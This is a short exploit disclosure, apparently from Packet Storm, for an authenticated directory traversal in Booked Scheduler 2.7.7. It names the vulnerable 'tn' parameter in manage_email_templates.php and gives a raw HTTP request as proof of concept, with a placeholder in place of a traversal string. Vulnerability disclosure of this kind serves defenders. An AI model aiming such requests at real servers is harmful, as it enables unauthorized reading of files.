Exploit for Booked Scheduler 2.7.7 Directory Traversal

## https://sploitus.com/exploit?id=PACKETSTORM:157570
# Exploit Title: Booked Scheduler 2.7.7 - Authenticated Directory Traversal  
# Date: 2020-05-03  
# Author: Besim ALTINOK  
# Vendor Homepage: https://www.bookedscheduler.com  
# Software Link: https://sourceforge.net/projects/phpscheduleit/  
# Version: v2.7.7  
# Tested on: Xampp  
# Credit: İsmail BOZKURT  
  
Description:  
----------------------------------------------------------  
Vulnerable Parameter: $tn  
Vulnerable File: manage_email_templates.php  
  
  
PoC  
-----------  
  
GET  
/booked/Web/admin/manage_email_templates.php?dr=template&lang=en_us&tn=vulnerable-parameter&_=1588451710324  
HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 ***************************  
Accept: */*  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/booked/Web/admin/manage_email_templates.php  
X-Requested-With: XMLHttpRequest  
DNT: 1  
Connection: close  
Cookie: new_version=v%3D2.7.7%2Cfs%3D1588451441;  
PHPSESSID=94129ac9414baee8c6ca2f19ab0bcbec